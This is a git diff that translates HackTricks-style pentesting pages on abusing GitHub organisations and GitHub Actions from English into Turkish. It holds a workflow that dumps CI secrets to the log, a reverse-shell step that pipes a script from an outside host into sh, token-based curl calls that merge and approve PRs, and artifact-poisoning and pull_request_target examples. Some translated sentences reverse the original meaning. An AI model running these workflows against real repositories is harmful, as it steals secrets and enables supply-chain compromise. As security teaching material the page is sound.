**Kullanıcı token'ı** oluştur +- **Sırların** içinden **github token'larını** çal +- **İş akışı sonuçlarının** ve **dalların** **silinmesi** +- Tüm org'a **daha fazla izin** ver +- Bilgileri dışarı aktarmak için **webhook'lar** oluştur +- **Dış işbirlikçileri** davet et +- **SIEM** tarafından kullanılan **webhook'ları** **kaldır** +- **Arka kapı** ile **Github Action** oluştur/değiştir +- **Sır** değeri değişikliği yoluyla **komut enjeksiyonu** için **savunmasız Github Action** bul -- Generate **user token** -- Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +### Sahte Taahhütler - Repo taahhütleri aracılığıyla arka kapı -### Imposter Commits - Backdoor via repo commits - -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. - -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +Github'da **bir fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda fork versiyonu için bir **taahhüt** kimliği oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**. +[**şu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi: ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +Daha fazla bilgi için [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) adresini kontrol edin. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..9572fa5b9 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,389 +4,371 @@ ## Basic Information -In this page you will find: +Bu sayfada şunları bulacaksınız: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo -- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- Bir saldırganın bir Github Action'a erişim sağlaması durumunda **tüm etkilerin özeti** +- Bir **action'a erişim sağlama** yolları: +- Action'ı oluşturmak için **izinlere** sahip olmak +- **Pull request** ile ilgili tetikleyicileri kötüye kullanmak +- **Diğer dış erişim** tekniklerini kötüye kullanmak +- Zaten ele geçirilmiş bir repodan **pivotlama** +- Son olarak, **içeriden bir action'ı kötüye kullanma sonrası teknikleri** hakkında bir bölüm (belirtilen etkileri oluşturur) ## Impacts Summary -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +[**Github Actions hakkında temel bilgileri kontrol edin**](../basic-github-information.md#github-actions) için bir giriş. -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +Eğer bir **repository** içinde **rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. - - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- Pipeline'a monte edilmiş **gizli bilgileri çalmak** ve **pipeline'ın ayrıcalıklarını kötüye kullanarak** AWS ve GCP gibi dış platformlara yetkisiz erişim sağlamak. +- **Dağıtımları tehlikeye atmak** ve diğer **artifaktları**. +- Eğer pipeline varlıkları dağıtıyor veya depoluyorsa, nihai ürünü değiştirebilir ve bir tedarik zinciri saldırısına olanak tanıyabilirsiniz. +- **Özel işçilerde kod çalıştırmak** için hesaplama gücünü kötüye kullanmak ve diğer sistemlere pivotlamak. +- `GITHUB_TOKEN` ile ilişkili izinlere bağlı olarak **repository kodunu üzerine yazmak**. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Bu "**gizli**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gelen) admin bu seçeneği etkinleştirdiğinde verilir:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Bu token, bir **Github Uygulaması tarafından kullanılacak** olan aynı token'dır, böylece aynı uç noktalara erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github, `GITHUB_TOKEN` kullanarak bir repo'nun diğer iç repolara erişmesine olanak tanıyan [**bir akış**](https://github.com/github/roadmap/issues/74) yayınlamalıdır. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Bu token'ın olası **izinlerini** burada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Token'ın **işlem tamamlandıktan sonra süresinin dolduğunu** unutmayın.\ +Bu token'lar şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Bu token ile yapabileceğiniz bazı ilginç şeyler: {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} -{{#tab name="Approve PR" }} - +{{#tab name="PR'yi Onayla" }} ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="PR Oluştur" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> Dikkat edin ki, birkaç durumda **Github Actions ortamlarında veya gizli bilgilerde github kullanıcı token'ları bulabileceksiniz**. Bu token'lar, size depo ve organizasyon üzerinde daha fazla yetki verebilir.
-List secrets in Github Action output - +Github Action çıktısında gizli bilgileri listele ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Gizli anahtarlarla ters kabuk al ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +Github Token'ına verilen izinleri diğer kullanıcıların depolarında **logları kontrol ederek** kontrol etmek mümkündür:
-## Allowed Execution +## İzin Verilen Çalıştırma > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum **organizasyonda yeni bir depo oluşturma** erişiminiz olduğunu veya **bir depoda yazma yetkisine** sahip olduğunuzu varsayıyor. > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> Bu senaryoda iseniz, [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) bölümüne göz atabilirsiniz. -### Execution from Repo Creation +### Depo Oluşturarak Çalıştırma -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +Eğer bir organizasyonun üyeleri **yeni depolar oluşturabiliyorsa** ve github eylemlerini çalıştırabiliyorsanız, **yeni bir depo oluşturup organizasyon seviyesinde ayarlanan gizli bilgileri çalabilirsiniz**. -### Execution from a New Branch +### Yeni Bir Dal Üzerinden Çalıştırma -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +Eğer **zaten bir Github Action** yapılandırılmış bir depoda **yeni bir dal oluşturabiliyorsanız**, onu **değiştirebilir**, içeriği **yükleyebilir** ve ardından **o eylemi yeni dal üzerinden çalıştırabilirsiniz**. Bu şekilde **depo ve organizasyon seviyesindeki gizli bilgileri dışarı sızdırabilirsiniz** (ancak bunların nasıl adlandırıldığını bilmeniz gerekir). +Değiştirilen eylemi **manuel olarak**, bir **PR oluşturulduğunda** veya **bazı kodlar yüklendiğinde** çalıştırılabilir hale getirebilirsiniz (ne kadar dikkat çekmek istediğinize bağlı olarak): ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- ## Forked Execution > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> Farklı tetikleyiciler, bir saldırganın **başka bir depodaki Github Action'ı çalıştırmasına** izin verebilir. Eğer bu tetiklenebilir eylemler kötü yapılandırılmışsa, bir saldırgan bunları tehlikeye atabilir. ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +Çalışma akışı tetikleyicisi **`pull_request`**, bir pull request alındığında her seferinde çalışma akışını çalıştırır, bazı istisnalarla: varsayılan olarak, eğer bu **ilk kez** **işbirliği yapıyorsanız**, bazı **bakıcıların** çalışma akışının **çalıştırılmasını** **onaylaması** gerekecektir:
> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> **Varsayılan kısıtlama** **ilk kez** katkıda bulunanlar içindir, geçerli bir **hata/yazım hatasını düzeltmek** için katkıda bulunabilir ve ardından **yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz**. > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **Bunu test ettim ve çalışmıyor**: ~~Başka bir seçenek, projeye katkıda bulunan birinin adını taşıyan bir hesap oluşturmak ve hesabını silmek olurdu.~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Ayrıca, varsayılan olarak **yazma izinlerini** ve **gizli verilere erişimi** hedef depoya engeller, [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) göre: -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> `GITHUB_TOKEN` hariç, **gizli veriler bir çalışma akışı bir **forked** depodan tetiklendiğinde** çalıştırıcıya **geçmez**. **`GITHUB_TOKEN`'ın pull request'lerde **okuma-yazma izinleri** yoktur **forked depolardan**. -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +Bir saldırgan, Github Action'ın tanımını değiştirerek keyfi şeyler çalıştırabilir ve keyfi eylemler ekleyebilir. Ancak, belirtilen kısıtlamalar nedeniyle gizli verileri çalamaz veya depoyu üzerine yazamaz. > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **Evet, eğer saldırgan PR'de tetiklenecek github action'ı değiştirirse, onun Github Action'ı kullanılacak ve orijinal depodaki değil!** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +Saldırgan ayrıca çalıştırılan kodu kontrol ettiğinden, `GITHUB_TOKEN` üzerinde gizli veriler veya yazma izinleri olmasa bile, bir saldırgan örneğin **kötü niyetli belgeler yükleyebilir**. ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +Çalışma akışı tetikleyicisi **`pull_request_target`**, hedef depoya **yazma iznine** ve **gizli verilere erişime** sahiptir (ve izin istemez). -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Çalışma akışı tetikleyicisi **`pull_request_target`** **temel bağlamda** çalışır ve PR tarafından verilen bağlamda değil (güvenilmeyen kodu **çalıştırmamak için**). `pull_request_target` hakkında daha fazla bilgi için [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bakın.\ +Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için bu [**github blog yazısını**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) kontrol edin. -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +**Çalıştırılan çalışma akışının** **temelde** tanımlandığı ve **PR'de** değil olduğu için **`pull_request_target`** kullanmanın **güvenli** olduğu görünebilir, ancak bunun **güvenli olmadığı birkaç durum vardır**. -An this one will have **access to secrets**. +Ve bu, **gizli verilere erişim** sağlayacaktır. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir çalışma akışının `tamamlandığında`, `istek yapıldığında` veya `devam ediyor` olduğunda başka bir çalışma akışını çalıştırmasına izin verir. +Bu örnekte, bir çalışma akışı, ayrı "Testleri Çalıştır" çalışma akışı tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır: ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` +Ayrıca, belgelerde belirtildiği gibi: `workflow_run` olayıyla başlatılan iş akışı, **önceki iş akışı** çalıştırılmamış olsa bile **gizli bilgilere erişebilir ve token yazabilir**. -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. - -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Bu tür bir iş akışı, **`pull_request`** veya **`pull_request_target`** aracılığıyla bir dış kullanıcı tarafından **tetiklenebilen** bir **iş akışına** **bağlıysa** saldırıya uğrayabilir. Birkaç savunmasız örnek [**bu blogda**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**bulunabilir.** İlk örnek, **`workflow_run`** tetiklenen iş akışının saldırganın kodunu indirmesidir: `${{ github.event.pull_request.head.sha }}`\ +İkinci örnek, **güvenilmeyen** koddan **`workflow_run`** iş akışına bir **artifact** **geçirerek** ve bu artifact'ın içeriğini **RCE'ye karşı savunmasız hale getirecek** bir şekilde kullanmaktır. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: `pull_request`'tan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et -## Abusing Forked Execution +## Forked İcra Kullanımı -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +Bir dış saldırganın bir github iş akışını çalıştırmasını sağlamak için tüm yolları belirttik, şimdi bu çalıştırmaların, kötü yapılandırıldığında, nasıl kötüye kullanılabileceğine bakalım: -### Untrusted checkout execution +### Güvenilmeyen checkout çalıştırması -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +**`pull_request`** durumunda, iş akışı **PR'nin bağlamında** çalıştırılacak (yani **kötü niyetli PR kodunu** çalıştıracak), ancak birinin **önce yetkilendirmesi** gerekiyor ve bazı [kısıtlamalarla](./#pull_request) çalışacak. -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +**`pull_request_target` veya `workflow_run`** kullanan bir iş akışında, **`pull_request_target` veya `pull_request`** üzerinden tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle **saldırgan çalıştırılan kodu kontrol edemez**. > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> Ancak, eğer **action**'da **açık bir PR checkout** varsa ve bu **PR'dan kod alıyorsa** (veya temelden değilse), saldırganın kontrolündeki kodu kullanacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın): -
# INSECURE. Provided as an example only.
+
# GÜVENLİ DEĞİL. Sadece bir örnek olarak verilmiştir.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +Potansiyel olarak **güvenilmeyen kod `npm install` veya `npm build` sırasında çalıştırılmaktadır** çünkü derleme betikleri ve referans verilen **paketler PR yazarının kontrolündedir**. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Savunmasız eylemleri aramak için bir github dork'u: `event.pull_request pull_request_target extension:yml` ancak, eylem güvensiz yapılandırılmış olsa bile, işlerin güvenli bir şekilde çalıştırılması için farklı yollar vardır (örneğin, PR'yi oluşturan aktör hakkında koşullu ifadeler kullanmak gibi). -### Context Script Injections +### Bağlam Betiği Enjeksiyonları -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +Belirli [**github bağlamları**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın, bu bağlamların değerleri **PR'yi oluşturan kullanıcı** tarafından **kontrol edilmektedir**. Eğer github action bu **verileri herhangi bir şeyi çalıştırmak için kullanıyorsa**, bu **keyfi kod çalıştırmaya** yol açabilir: {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **GITHUB_ENV Betik Enjeksiyonu** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda **bir ortam değişkenini kullanılabilir hale getirmek** için ortam değişkenini tanımlayarak veya güncelleyerek ve bunu **`GITHUB_ENV`** ortam dosyasına yazarak yapabilirsiniz. -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değeri enjekte edebilirse**, sonraki adımlarda **LD_PRELOAD** veya **NODE_OPTIONS** gibi kod çalıştırabilecek env değişkenlerini enjekte edebilir. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Örneğin ([**bu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**bu**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), **`GITHUB_ENV`** env değişkeninin içeriğini depolamak için yüklenen bir artifact'a güvenen bir iş akışını hayal edin. Bir saldırgan bunu tehlikeye atmak için şöyle bir şey yükleyebilir:
-### Vulnerable Third Party Github Actions +### Savunmasız Üçüncü Taraf Github Eylemleri #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +[**bu blog yazısında**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) belirtildiği gibi, bu Github Eylemi farklı iş akışlarından ve hatta depolardan artifact'lara erişim sağlar. -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. - -Example of vulnerable workflow: +Sorun şu ki, eğer **`path`** parametresi ayarlanmamışsa, artifact mevcut dizine çıkarılır ve daha sonra iş akışında kullanılabilecek veya çalıştırılabilecek dosyaları geçersiz kılabilir. Bu nedenle, eğer Artifact savunmasızsa, bir saldırgan bunu diğer iş akışlarını tehlikeye atmak için kötüye kullanabilir. +Savunmasız bir iş akışı örneği: ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +Bu iş akışı ile saldırıya uğrayabilir: ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` +--- + +## Diğer Harici Erişim + +### Silinmiş Namespace Repo Ele Geçirme + +Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o isimle bir hesap kaydedebilir. Eğer bir depo **isim değişikliğinden önce 100 yıldızdan azsa**, Github, aynı isimle yeni kayıtlı kullanıcının **silinmiş olanla aynı isimde bir depo oluşturmasına** izin verecektir. + +> [!DİKKAT] +> Yani eğer bir işlem, var olmayan bir hesaptan bir depoyu kullanıyorsa, bir saldırganın o hesabı oluşturup işlemi tehlikeye atması hala mümkün olabilir. + +Eğer diğer depolar **bu kullanıcı depolarından bağımlılıklar kullanıyorsa**, bir saldırgan bunları ele geçirebilir. İşte daha kapsamlı bir açıklama: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Other External Access +## Repo Pivotlama -### Deleted Namespace Repo Hijacking +> [!NOT] +> Bu bölümde, ilk depoda bir tür erişimimiz olduğunu varsayarak **bir depodan diğerine geçiş yapmamızı** sağlayacak tekniklerden bahsedeceğiz (önceki bölümü kontrol edin). -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +### Önbellek Zehirleme -> [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. - -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) - ---- - -## Repo Pivoting - -> [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some 